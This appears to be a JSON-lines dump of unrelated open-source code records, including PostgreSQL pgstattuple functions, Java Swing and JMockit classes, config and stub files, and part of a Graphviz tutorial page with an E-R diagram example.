}\n else\n {\n tuple_percent = 100.0 * stat->tuple_len / stat->table_len;\n dead_tuple_percent = 100.0 * stat->dead_tuple_len / stat->table_len;\n free_percent = 100.0 * stat->free_space / stat->table_len;\n }\n\n /*\n * Prepare a values array for constructing the tuple. This should be an\n * array of C strings which will be processed later by the appropriate\n * \"in\" functions.\n */\n for (i = 0; i < NCOLUMNS; i++)\n values[i] = values_buf[i];\n i = 0;\n snprintf(values[i++], NCHARS, INT64_FORMAT, stat->table_len);\n snprintf(values[i++], NCHARS, INT64_FORMAT, stat->tuple_count);\n snprintf(values[i++], NCHARS, INT64_FORMAT, stat->tuple_len);\n snprintf(values[i++], NCHARS, \"%.2f\", tuple_percent);\n snprintf(values[i++], NCHARS, INT64_FORMAT, stat->dead_tuple_count);\n snprintf(values[i++], NCHARS, INT64_FORMAT, stat->dead_tuple_len);\n snprintf(values[i++], NCHARS, \"%.2f\", dead_tuple_percent);\n snprintf(values[i++], NCHARS, INT64_FORMAT, stat->free_space);\n snprintf(values[i++], NCHARS, \"%.2f\", free_percent);\n\n /* build a tuple */\n tuple = BuildTupleFromCStrings(attinmeta, values);\n\n /* make the tuple into a datum */\n return HeapTupleGetDatum(tuple);\n}\n\n/* ----------\n * pgstattuple:\n * returns live/dead tuples info\n *\n * C FUNCTION definition\n * pgstattuple(text) returns pgstattuple_type\n *\n * The superuser() check here must be kept as the library might be upgraded\n * without the extension being upgraded, meaning that in pre-1.5 installations\n * these functions could be called by any user.\n * ----------\n */\n\nDatum\npgstattuple(PG_FUNCTION_ARGS)\n{\n text *relname = PG_GETARG_TEXT_PP(0);\n RangeVar *relrv;\n Relation rel;\n\n if (!superuser())\n ereport(ERROR,\n (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),\n (errmsg(\"must be superuser to use pgstattuple functions\"))));\n\n /* open relation */\n relrv = makeRangeVarFromNameList(textToQualifiedNameList(relname));\n rel = relation_openrv(relrv, AccessShareLock);\n\n PG_RETURN_DATUM(pgstat_relation(rel, fcinfo));\n}\n\n/*\n * As of pgstattuple version 1.5, we no longer need to check if the user\n * is a superuser because we REVOKE EXECUTE on the function from PUBLIC.\n * Users can then grant access to it based on their policies.\n *\n * Otherwise identical to pgstattuple (above).\n */\nDatum\npgstattuple_v1_5(PG_FUNCTION_ARGS)\n{\n text *relname = PG_GETARG_TEXT_PP(0);\n RangeVar *relrv;\n Relation rel;\n\n /* open relation */\n relrv = makeRangeVarFromNameList(textToQualifiedNameList(relname));\n rel = relation_openrv(relrv, AccessShareLock);\n\n PG_RETURN_DATUM(pgstat_relation(rel, fcinfo));\n}\n\n/* Must keep superuser() check, see above. */\nDatum\npgstattuplebyid(PG_FUNCTION_ARGS)\n{\n Oid relid = PG_GETARG_OID(0);\n Relation rel;\n\n if (!superuser())\n ereport(ERROR,\n (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),\n (errmsg(\"must be superuser to use pgstattuple functions\"))));\n\n /* open relation */\n rel = relation_open(relid, AccessShareLock);\n\n PG_RETURN_DATUM(pgstat_relation(rel, fcinfo));\n}\n\n/* Remove superuser() check for 1.5 version, see above */\nDatum\npgstattuplebyid_v1_5(PG_FUNCTION_ARGS)\n{\n Oid relid = PG_GETARG_OID(0);\n Relation rel;\n\n /* open relation */\n rel = relation_open(relid, AccessShareLock);\n\n PG_RETURN_DATUM(pgstat_relation(rel, fcinfo));\n}\n\n/*\n * pgstat_relation\n */\nstatic Datum\npgstat_relation(Relation rel, FunctionCallInfo fcinfo)\n{\n const char *err;\n\n /*\n * Reject attempts to read non-local temporary relations; we would be\n * likely to get wrong data since we have no visibility into the owning\n * session's local buffers.\n */\n if (RELATION_IS_OTHER_TEMP(rel))\n ereport(ERROR,\n (errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n errmsg(\"cannot access temporary tables of other sessions\")));\n\n switch (rel->rd_rel->relkind)\n {\n case RELKIND_RELATION:\n case RELKIND_MATVIEW:\n case RELKIND_TOASTVALUE:\n case RELKIND_SEQUENCE:\n return pgstat_heap(rel, fcinfo);\n case RELKIND_INDEX:\n switch (rel->rd_rel->relam)\n {\n case BTREE_AM_OID:\n return pgstat_index(rel, BTREE_METAPAGE + 1,\n pgstat_btree_page, fcinfo);\n case HASH_AM_OID:\n return pgstat_index(rel, HASH_METAPAGE + 1,\n pgstat_hash_page, fcinfo);\n case GIST_AM_OID:\n return pgstat_index(rel, GIST_ROOT_BLKNO + 1,\n pgstat_gist_page, fcinfo);\n case GIN_AM_OID:\n err = \"gin index\";\n break;\n case SPGIST_AM_OID:\n err = \"spgist index\";\n break;\n case BRIN_AM_OID:\n err = \"brin index\";\n break;\n default:\n err = \"unknown index\";\n break;\n }\n break;\n case RELKIND_VIEW:\n err = \"view\";\n break;\n case RELKIND_COMPOSITE_TYPE:\n err = \"composite type\";\n break;\n case RELKIND_FOREIGN_TABLE:\n err = \"foreign table\";\n break;\n case RELKIND_PARTITIONED_TABLE:\n err = \"partitioned table\";\n break;\n default:\n err = \"unknown\";\n break;\n }\n\n ereport(ERROR,\n (errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n errmsg(\"\\\"%s\\\" (%s) is not supported\",\n RelationGetRelationName(rel), err)));\n return 0; /* should not happen */\n}\n\n/*\n * pgstat_heap -- returns live/dead tuples info in a heap\n */\nstatic Datum\npgstat_heap(Relation rel, FunctionCallInfo fcinfo)\n{\n HeapScanDesc scan;\n HeapTuple tuple;\n BlockNumber nblocks;\n BlockNumber block = 0; /* next block to count free space in */\n BlockNumber tupblock;\n Buffer buffer;\n pgstattuple_type stat = {0};\n SnapshotData SnapshotDirty;\n\n /* Disable syncscan because we assume we scan from block zero upwards */\n scan = heap_beginscan_strat(rel, SnapshotAny, 0, NULL, true, false);\n InitDirtySnapshot(SnapshotDirty);\n\n nblocks = scan->rs_nblocks; /* # blocks to be scanned */\n\n /* scan the relation */\n while ((tuple = heap_getnext(scan, ForwardScanDirection)) != NULL)\n {\n CHECK_FOR_INTERRUPTS();\n\n /* must hold a buffer lock to call HeapTupleSatisfiesVisibility */\n LockBuffer(scan->rs_cbuf, BUFFER_LOCK_SHARE);\n\n if (HeapTupleSatisfiesVisibility(tuple, &SnapshotDirty, scan->rs_cbuf))\n {\n stat.tuple_len += tuple->t_len;\n stat.tuple_count++;\n }\n else\n {\n stat.dead_tuple_len += tuple->t_len;\n stat.dead_tuple_count++;\n }\n\n LockBuffer(scan->rs_cbuf, BUFFER_LOCK_UNLOCK);\n\n /*\n * To avoid physically reading the table twice, try to do the\n * free-space scan in parallel with the heap scan. However,\n * heap_getnext may find no tuples on a given page, so we cannot\n * simply examine the pages returned by the heap scan.\n */\n tupblock = ItemPointerGetBlockNumber(&tuple->t_self);\n\n while (block <= tupblock)\n {\n CHECK_FOR_INTERRUPTS();\n\n buffer = ReadBufferExtended(rel, MAIN_FORKNUM, block,\n RBM_NORMAL, scan->rs_strategy);\n LockBuffer(buffer, BUFFER_LOCK_SHARE);\n stat.free_space += PageGetHeapFreeSpace((Page) BufferGetPage(buffer));\n UnlockReleaseBuffer(buffer);\n block++;\n }\n }\n\n while (block < nblocks)\n {\n CHECK_FOR_INTERRUPTS();\n\n buffer = ReadBufferExtended(rel, MAIN_FORKNUM, block,\n RBM_NORMAL, scan->rs_strategy);\n LockBuffer(buffer, BUFFER_LOCK_SHARE);\n stat.free_space += PageGetHeapFreeSpace((Page) BufferGetPage(buffer));\n UnlockReleaseBuffer(buffer);\n block++;\n }\n\n heap_endscan(scan);\n relation_close(rel, AccessShareLock);\n\n stat.table_len = (uint64) nblocks * BLCKSZ;\n\n return build_pgstattuple_type(&stat, fcinfo);\n}\n\n/*\n * pgstat_btree_page -- check tuples in a btree page\n */\nstatic void\npgstat_btree_page(pgstattuple_type *stat, Relation rel, BlockNumber blkno,\n BufferAccessStrategy bstrategy)\n{\n Buffer buf;\n Page page;\n\n buf = ReadBufferExtended(rel, MAIN_FORKNUM, blkno, RBM_NORMAL, bstrategy);\n LockBuffer(buf, BT_READ);\n page = BufferGetPage(buf);\n\n /* Page is valid, see what to do with it */\n if (PageIsNew(page))\n {\n /* fully empty page */\n stat->free_space += BLCKSZ;\n }\n else\n {\n BTPageOpaque opaque;\n\n opaque = (BTPageOpaque) PageGetSpecialPointer(page);\n if (opaque->btpo_flags & (BTP_DELETED | BTP_HALF_DEAD))\n {\n /* recyclable page */\n stat->free_space += BLCKSZ;\n }\n else if (P_ISLEAF(opaque))\n {\n pgstat_index_page(stat, page, P_FIRSTDATAKEY(opaque),\n PageGetMaxOffsetNumber(page));\n }\n else\n {\n /* root or node */\n }\n }\n\n _bt_relbuf(rel, buf);\n}\n\n/*\n * pgstat_hash_page -- check tuples in a hash page\n */\nstatic void\npgstat_hash_page(pgstattuple_type *stat, Relation rel, BlockNumber blkno,\n BufferAccessStrategy bstrategy)\n{\n Buffer buf;\n Page page;\n\n buf = _hash_getbuf_with_strategy(rel, blkno, HASH_READ, 0, bstrategy);\n page = BufferGetPage(buf);\n\n if (PageGetSpecialSize(page) == MAXALIGN(sizeof(HashPageOpaqueData)))\n {\n HashPageOpaque opaque;\n\n opaque = (HashPageOpaque) PageGetSpecialPointer(page);\n switch (opaque->hasho_flag & LH_PAGE_TYPE)\n {\n case LH_UNUSED_PAGE:\n stat->free_space += BLCKSZ;\n break;\n case LH_BUCKET_PAGE:\n case LH_OVERFLOW_PAGE:\n pgstat_index_page(stat, page, FirstOffsetNumber,\n PageGetMaxOffsetNumber(page));\n break;\n case LH_BITMAP_PAGE:\n case LH_META_PAGE:\n default:\n break;\n }\n }\n else\n {\n /* maybe corrupted */\n }\n\n _hash_relbuf(rel, buf);\n}\n\n/*\n * pgstat_gist_page -- check tuples in a gist page\n */\nstatic void\npgstat_gist_page(pgstattuple_type *stat, Relation rel, BlockNumber blkno,\n BufferAccessStrategy bstrategy)\n{\n Buffer buf;\n Page page;\n\n buf = ReadBufferExtended(rel, MAIN_FORKNUM, blkno, RBM_NORMAL, bstrategy);\n LockBuffer(buf, GIST_SHARE);\n gistcheckpage(rel, buf);\n page = BufferGetPage(buf);\n\n if (GistPageIsLeaf(page))\n {\n pgstat_index_page(stat, page, FirstOffsetNumber,\n PageGetMaxOffsetNumber(page));\n }\n else\n {\n /* root or node */\n }\n\n UnlockReleaseBuffer(buf);\n}\n\n/*\n * pgstat_index -- returns live/dead tuples info in a generic index\n */\nstatic Datum\npgstat_index(Relation rel, BlockNumber start, pgstat_page pagefn,\n FunctionCallInfo fcinfo)\n{\n BlockNumber nblocks;\n BlockNumber blkno;\n BufferAccessStrategy bstrategy;\n pgstattuple_type stat = {0};\n\n /* prepare access strategy for this index */\n bstrategy = GetAccessStrategy(BAS_BULKREAD);\n\n blkno = start;\n for (;;)\n {\n /* Get the current relation length */\n LockRelationForExtension(rel, ExclusiveLock);\n nblocks = RelationGetNumberOfBlocks(rel);\n UnlockRelationForExtension(rel, ExclusiveLock);\n\n /* Quit if we've scanned the whole relation */\n if (blkno >= nblocks)\n {\n stat.table_len = (uint64) nblocks * BLCKSZ;\n\n break;\n }\n\n for (; blkno < nblocks; blkno++)\n {\n CHECK_FOR_INTERRUPTS();\n\n pagefn(&stat, rel, blkno, bstrategy);\n }\n }\n\n relation_close(rel, AccessShareLock);\n\n return build_pgstattuple_type(&stat, fcinfo);\n}\n\n/*\n * pgstat_index_page -- for generic index page\n */\nstatic void\npgstat_index_page(pgstattuple_type *stat, Page page,\n OffsetNumber minoff, OffsetNumber maxoff)\n{\n OffsetNumber i;\n\n stat->free_space += PageGetFreeSpace(page);\n\n for (i = minoff; i <= maxoff; i = OffsetNumberNext(i))\n {\n ItemId itemid = PageGetItemId(page, i);\n\n if (ItemIdIsDead(itemid))\n {\n stat->dead_tuple_count++;\n stat->dead_tuple_len += ItemIdGetLength(itemid);\n }\n else\n {\n stat->tuple_count++;\n stat->tuple_len += ItemIdGetLength(itemid);\n }\n }\n}\n"} +{"text": "package net.sf.openrocket.gui.components;\n\nimport java.awt.Component;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\n\nimport javax.swing.AbstractCellEditor;\nimport javax.swing.JComboBox;\nimport javax.swing.JTable;\nimport javax.swing.table.TableCellEditor;\n\nimport net.sf.openrocket.unit.Unit;\nimport net.sf.openrocket.unit.UnitGroup;\n\n\n/**\n * A cell editor that returns a combo box containing a selection of units.\n * Using classes must implement the {@link #getUnitGroup(Unit, int, int)} method\n * to return the appropriate unit group for the selection.\n * \n * @author Sampo Niskanen \n */\npublic abstract class UnitCellEditor extends AbstractCellEditor\n\t\timplements TableCellEditor, ActionListener {\n\t\n\tprivate static final long serialVersionUID = 8319509695751912662L;\n\tprivate final JComboBox editor;\n\t\n\tpublic UnitCellEditor() {\n\t\teditor = new JComboBox();\n\t\teditor.setEditable(false);\n\t\teditor.addActionListener(this);\n\t}\n\t\n\t\n\t@Override\n\tpublic Component getTableCellEditorComponent(JTable table, Object value,\n\t\t\tboolean isSelected, int row, int column) {\n\t\t\n\t\tUnit unit = (Unit) value;\n\t\tUnitGroup group = getUnitGroup(unit, row, column);\n\t\t\n\t\teditor.removeAllItems();\n\t\tfor (Unit u : group.getUnits()) {\n\t\t\teditor.addItem(u);\n\t\t}\n\t\t\n\t\teditor.setSelectedItem(unit);\n\t\t\n\t\treturn editor;\n\t}\n\t\n\t\n\t@Override\n\tpublic Object getCellEditorValue() {\n\t\treturn editor.getSelectedItem();\n\t}\n\t\n\t\n\n\t@Override\n\tpublic void actionPerformed(ActionEvent e) {\n\t\t// End editing when a value has been selected\n\t\tthis.fireEditingStopped();\n\t}\n\t\n\t\n\t/**\n\t * Return the unit group corresponding to the specified cell.\n\t * \n\t * @param value\t\tthe cell's value.\n\t * @param row\t\tthe cell's row.\n\t * @param column\tthe cell's column.\n\t * @return\t\t\tthe unit group of this cell.\n\t */\n\tprotected abstract UnitGroup getUnitGroup(Unit value, int row, int column);\n\t\n}\n"} +{"text": "using System.IO;\n#if NET462 || JAVA\nusing System.Drawing;\n#elif NETCOREAPP2_1 || __MOBILE__\nusing SkiaSharp;\n#endif\n\nnamespace ApiExamples.TestData.TestClasses\n{\n public class ImageTestClass\n {\n#if NET462 || JAVA\n public Image Image { get; set; } \n#elif NETCOREAPP2_1 || __MOBILE__\n public SKBitmap Image { get; set; }\n#endif\n public Stream ImageStream { get; set; }\n public byte[] ImageBytes { get; set; }\n public string ImageString { get; set; }\n\n#if NET462 || JAVA\n public ImageTestClass(Image image, Stream imageStream, byte[] imageBytes, string imageString)\n {\n Image = image;\n ImageStream = imageStream;\n ImageBytes = imageBytes;\n ImageString = imageString;\n }\n#elif NETCOREAPP2_1 || __MOBILE__\n public ImageTestClass(SKBitmap image, Stream imageStream, byte[] imageBytes, string imageString)\n {\n this.Image = image;\n this.ImageStream = imageStream;\n this.ImageBytes = imageBytes;\n this.ImageString = imageString;\n } \n#endif\n }\n}"} +{"text": "/*\n * Copyright (c) 1997, 2007, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\n\n/* Generated By:JJTree: Do not edit this line. JDMCommunities.java */\n\npackage com.sun.jmx.snmp.IPAcl;\n\n\nclass JDMCommunities extends SimpleNode {\n JDMCommunities(int id) {\n super(id);\n }\n\n JDMCommunities(Parser p, int id) {\n super(p, id);\n }\n\n public static Node jjtCreate(int id) {\n return new JDMCommunities(id);\n }\n\n public static Node jjtCreate(Parser p, int id) {\n return new JDMCommunities(p, id);\n }\n\n public void buildCommunities(AclEntryImpl entry){\n for (int i =0 ; i < children.length ; i++)\n entry.addCommunity(((JDMCommunity)children[i]).getCommunity());\n }\n}\n"} +{"text": "[bits 32]\n\n lar eax, [bx+si]\n nop\n pause\n"} +{"text": "/*\n * Copyright (C) 2014 Lucien Loiseau\n * This file is part of Rumble.\n * Rumble is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Rumble is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with Rumble. If not, see .\n */\n\npackage org.disrupted.rumble.database.statistics;\n\nimport android.content.ContentValues;\nimport android.content.Context;\nimport android.database.sqlite.SQLiteOpenHelper;\n\n/**\n * @author Lucien Loiseau\n */\npublic class StatChannelDatabase extends StatisticDatabase {\n\n private static final String TAG = \"StatConnectionDatabase\";\n\n public static final String TABLE_NAME = \"connection\";\n public static final String ID = \"_id\";\n public static final String IFACE_DBID = \"interface_db_id\";\n public static final String IFACE_TYPE = \"interface_type\";\n public static final String CONNECTED = \"connected\";\n public static final String DISCONNECTED = \"disconnected\";\n public static final String PROTOCOL = \"protocol\";\n public static final String BYTES_RECEIVED = \"bytes_received\";\n public static final String IN_TRANS_TIME = \"in_transmission_time\";\n public static final String BYTES_SENT = \"bytes_sent\";\n public static final String OUT_TRANS_TIME = \"out_transmission_time\";\n public static final String STATUS_RECEIVED = \"nb_status_received\";\n public static final String STATUS_SENT = \"nb_status_sent\";\n\n public static final String CREATE_TABLE = \"CREATE TABLE \" + TABLE_NAME +\n \" (\" + ID + \" INTEGER PRIMARY KEY, \"\n + IFACE_DBID + \" INTEGER, \"\n + IFACE_TYPE + \" TEXT, \"\n + CONNECTED + \" INTEGER, \"\n + DISCONNECTED + \" INTEGER, \"\n + PROTOCOL + \" TEXT, \"\n + BYTES_RECEIVED + \" INTEGER, \"\n + IN_TRANS_TIME + \" INTEGER, \"\n + BYTES_SENT + \" INTEGER, \"\n + OUT_TRANS_TIME + \" INTEGER, \"\n + STATUS_RECEIVED + \" INTEGER, \"\n + STATUS_SENT + \" INTEGER, \"\n + \" FOREIGN KEY ( \"+ IFACE_DBID + \" ) REFERENCES \" + StatInterfaceDatabase.TABLE_NAME + \" ( \" + StatInterfaceDatabase.ID + \" ) \"\n + \" );\";\n\n public StatChannelDatabase(Context context, SQLiteOpenHelper databaseHelper) {\n super(context, databaseHelper);\n }\n\n @Override\n public String getTableName() {\n return TABLE_NAME;\n }\n\n public long insertChannelStat(long iface_dbid, String iface_type, long connected_nano,\n long disconnected_nano, String protocolID, long bytes_rcvd,\n long in_trans_time, long bytes_sent, long out_trans_time,\n int status_received, int status_sent) {\n ContentValues contentValues = new ContentValues();\n contentValues.put(IFACE_DBID, iface_dbid);\n contentValues.put(IFACE_TYPE, iface_type);\n contentValues.put(CONNECTED, connected_nano);\n contentValues.put(DISCONNECTED, disconnected_nano);\n contentValues.put(PROTOCOL, protocolID);\n contentValues.put(BYTES_RECEIVED, bytes_rcvd);\n contentValues.put(IN_TRANS_TIME, in_trans_time);\n contentValues.put(BYTES_SENT, bytes_sent);\n contentValues.put(OUT_TRANS_TIME, out_trans_time);\n contentValues.put(STATUS_RECEIVED, status_received);\n contentValues.put(STATUS_SENT, status_sent);\n return databaseHelper.getWritableDatabase().insert(TABLE_NAME, null, contentValues);\n }\n\n public void clean() {\n databaseHelper.getWritableDatabase().delete(TABLE_NAME,null,null);\n }\n\n}\n"} +{"text": "package mockit;\n\nimport java.util.*;\n\nimport org.junit.*;\nimport static org.junit.Assert.*;\n\nimport mockit.internal.util.*;\n\npublic final class ObjectOverridesTest\n{\n @Test\n public void verifyStandardBehaviorOfOverridableObjectMethodsInMockedInterface(@Mocked Runnable r1, @Mocked Runnable r2) {\n assertDefaultEqualsBehavior(r1, r2);\n assertDefaultEqualsBehavior(r2, r1);\n\n assertDefaultHashCodeBehavior(r1);\n assertDefaultHashCodeBehavior(r2);\n\n assertDefaultToStringBehavior(r1);\n assertDefaultToStringBehavior(r2);\n }\n\n @SuppressWarnings(\"SimplifiableJUnitAssertion\")\n void assertDefaultEqualsBehavior(Object obj1, Object obj2) {\n assertFalse(obj1.equals(null));\n assertFalse(obj1.equals(\"test\"));\n //noinspection EqualsWithItself\n assertTrue(obj1.equals(obj1));\n assertFalse(obj1.equals(obj2));\n }\n\n void assertDefaultHashCodeBehavior(Object obj) { assertEquals(System.identityHashCode(obj), obj.hashCode()); }\n void assertDefaultToStringBehavior(Object obj) { assertEquals(ObjectMethods.objectIdentity(obj), obj.toString()); }\n\n @Test\n public void verifyStandardBehaviorOfOverriddenObjectMethodsInMockedJREClass(@Mocked Date d1, @Mocked Date d2) {\n assertDefaultEqualsBehavior(d1, d2);\n assertDefaultEqualsBehavior(d2, d1);\n\n assertDefaultHashCodeBehavior(d1);\n assertDefaultHashCodeBehavior(d2);\n\n assertDefaultToStringBehavior(d1);\n assertDefaultToStringBehavior(d2);\n }\n\n @Mocked ClassWithObjectOverrides a;\n @Mocked ClassWithObjectOverrides b;\n\n @Before\n public void callObjectMethodsInMockBeforeEveryTest() {\n assertEquals(System.identityHashCode(a), a.hashCode());\n assertEquals(b, b);\n }\n\n @Test @SuppressWarnings(\"FinalizeCalledExplicitly\")\n public void verifyStandardBehaviorOfOverriddenObjectMethodsInMockedClass() throws Throwable {\n assertDefaultEqualsBehavior(a, b);\n assertDefaultEqualsBehavior(b, a);\n\n assertDefaultHashCodeBehavior(a);\n assertDefaultHashCodeBehavior(b);\n\n assertDefaultToStringBehavior(a);\n assertDefaultToStringBehavior(b);\n\n a.finalize();\n b.finalize();\n }\n\n @Test @SuppressWarnings({\"SimplifiableJUnitAssertion\", \"EqualsBetweenInconvertibleTypes\"})\n public void mockOverrideOfEqualsMethod() {\n new Expectations() {{\n a.equals(null); result = true;\n a.equals(anyString); result = true;\n }};\n\n new Expectations() {{\n b.equals(a); result = true;\n }};\n\n assertTrue(a.equals(null));\n assertTrue(a.equals(\"test\"));\n assertTrue(b.equals(a));\n }\n\n @Test\n public void mockOverrideOfHashCodeMethod() {\n assertTrue(a.hashCode() != b.hashCode());\n\n new Expectations() {{\n a.hashCode(); result = 123;\n b.hashCode(); result = 45; times = 1;\n }};\n\n assertEquals(123, a.hashCode());\n assertEquals(45, b.hashCode());\n }\n\n @Test\n public void mockOverrideOfToStringMethod() {\n //noinspection SimplifiableJUnitAssertion\n assertFalse(a.toString().equals(b.toString()));\n\n new Expectations() {{\n a.toString(); result = \"mocked\";\n }};\n\n //noinspection SimplifiableJUnitAssertion\n assertTrue(\"mocked\".equals(a.toString()));\n\n new Verifications() {{\n a.toString();\n b.toString(); times = 0;\n }};\n }\n\n @Test\n public void mockOverrideOfCloneMethod() {\n new Expectations() {{\n a.clone(); result = b;\n }};\n\n assertSame(b, a.clone());\n }\n\n @Test\n public void recordExpectationsOnOverriddenObjectMethodAsAlwaysNonStrict() {\n new Expectations() {{\n a.doSomething();\n a.hashCode(); result = 1;\n a.equals(any);\n a.toString();\n }};\n\n a.doSomething();\n }\n\n @SuppressWarnings(\"EqualsWhichDoesntCheckParameterClass\")\n static class ClassWithEqualsOverride {\n private final int value;\n ClassWithEqualsOverride(int value) { this.value = value; }\n @Override public boolean equals(Object other) { return ((ClassWithEqualsOverride) other).value == value; }\n }\n\n @Test\n public void partiallyMockInstancesOfClassWithEqualsOverrideWhoseInstanceGetsPassedInRecordedExpectation() {\n final Object o1 = new ClassWithEqualsOverride(123);\n Object o2 = new ClassWithEqualsOverride(123);\n\n new Expectations(o1, o2) {{ a.doSomething(o1); }};\n\n a.doSomething(o2);\n }\n\n @Test\n public void partiallyMockInstancesOfJREClassWithEqualsOverrideWhoseInstanceGetsPassedInRecordedExpectation() {\n final Object o1 = new Date(123);\n Object o2 = new Date(123);\n\n new Expectations(o1, o2) {{ a.doSomething(o1); }};\n\n a.doSomething(o2);\n }\n}"} +{"text": "/**\n * Licensed to The Apereo Foundation under one or more contributor license\n * agreements. See the NOTICE file distributed with this work for additional\n * information regarding copyright ownership.\n *\n *\n * The Apereo Foundation licenses this file to you under the Educational\n * Community License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of the License\n * at:\n *\n * http://opensource.org/licenses/ecl2.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n *\n */\n\n\n// Views\n@import \"core\";\n@import \"login\";\n@import \"statistics\";\n\n// Modal Views\n@import \"modals/users\";\n@import \"modals/action-modal\";\n@import \"modals/modal-dialog\";\n@import \"modals/group\";\n@import \"modals/lists\";\n@import \"modals/new-event-series\";\n@import \"modals/event-series\";\n@import \"modals/edit-events\";\n@import \"modals/hotkey-cheat-sheet\";\n@import \"modals/embedded-code\";\n"} +{"text": "// flow-typed signature: 34740b586eed834726943730af1682ba\n// flow-typed version: <>/@babel/plugin-transform-runtime_v^7.0.0/flow_v0.93.0\n\n/**\n * This is an autogenerated libdef stub for:\n *\n * '@babel/plugin-transform-runtime'\n *\n * Fill this stub out by replacing all the `any` types.\n *\n * Once filled out, we encourage you to share your work with the\n * community by sending a pull request to:\n * https://github.com/flowtype/flow-typed\n */\n\ndeclare module '@babel/plugin-transform-runtime' {\n declare module.exports: any;\n}\n\n/**\n * We include stubs for each file inside this npm package in case you need to\n * require those files directly. Feel free to delete any files that aren't\n * needed.\n */\ndeclare module '@babel/plugin-transform-runtime/lib/definitions' {\n declare module.exports: any;\n}\n\ndeclare module '@babel/plugin-transform-runtime/lib/index' {\n declare module.exports: any;\n}\n\n// Filename aliases\ndeclare module '@babel/plugin-transform-runtime/lib/definitions.js' {\n declare module.exports: $Exports<'@babel/plugin-transform-runtime/lib/definitions'>;\n}\ndeclare module '@babel/plugin-transform-runtime/lib/index.js' {\n declare module.exports: $Exports<'@babel/plugin-transform-runtime/lib/index'>;\n}\n"} +{"text": "{\n \"images\" : [\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"29x29\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"29x29\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"40x40\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"40x40\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"60x60\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"60x60\",\n \"scale\" : \"3x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} +{"text": "\n186.4. ExampleHome |\n\t\t简体中文 |\n\t 繁体中文 |\n\t 杂文 |\n\t 知乎专栏 |\n\t Github |\n\t OSChina 博客 |\n\t 云社区 |\n\t 云栖社区 |\n\t Facebook |\n\t Linkedin |\n\t 视频教程 |\n\t 打赏(Donations) |\n\t About
186.4. Example
上一页 第 186 章 Graphviz - Graph Visualization Software 下一页
知乎专栏 ｜ 多维度架构 微信号 netkiller-ebook | QQ群：128659835 请注明“读者”

186.4. Example

\n\t\t\n\t\t

186.4.1. E-R

\n\t\t\t\n\t\t\t
\n\t\t\t\n$ cat erd.gv\ndigraph g {\ngraph [\nrankdir = \"LR\"\n];\nnode [\nfontsize = \"16\"\nshape = \"ellipse\"\n];\nedge [\n];\n\n\"user\" [\n        label = \"User| <id> id|username|password|last|status\"\n        shape = \"record\"\n];\n\n\"profile\" [\n        label = \"Profile| <id> id | name | sex | age | address | icq | msn\"\n        shape = \"record\"\n];\n\nuser:id->profile:id [label=\"1:1\"];\n\n\"category\" [\n        label = \"Category| <id> id | <pid> pid | name | status\"\n        shape = \"record\"\n];\n\ncategory:pid->category:id [label=\"1:n\"];\n\n\"article\" [\n        label = \"Article| <id> id| <user_id> user_id | <cid> category_id | title | content | datetime | status\"\n        shape = \"record\"\n];\n\narticle:user_id->user:id [label=\"1:n\"];\narticle:cid->category:id [label=\"1:n\"];\n\n\"feedback\" [\n        label = \"Feedback| <id> id| <user_id> user_id | <article_id> article_id | title | content | datetime | status\"\n        shape = \"record\"\n];\n\nfeedback:user_id->user:id [label=\"1:n\"];\nfeedback:article_id->article:id [label=\"1:n\"];\n\n}\n\t\t\t\n\t\t\t
\n\t\t\t
\n\t\t\t\n$ dot -Tpng erd.gv > erd.png\n\t\t\t\n\t\t\t
\n\t\t
\n\t\t

186.4.2. Network

\n\t\t\t\n\t\t\t
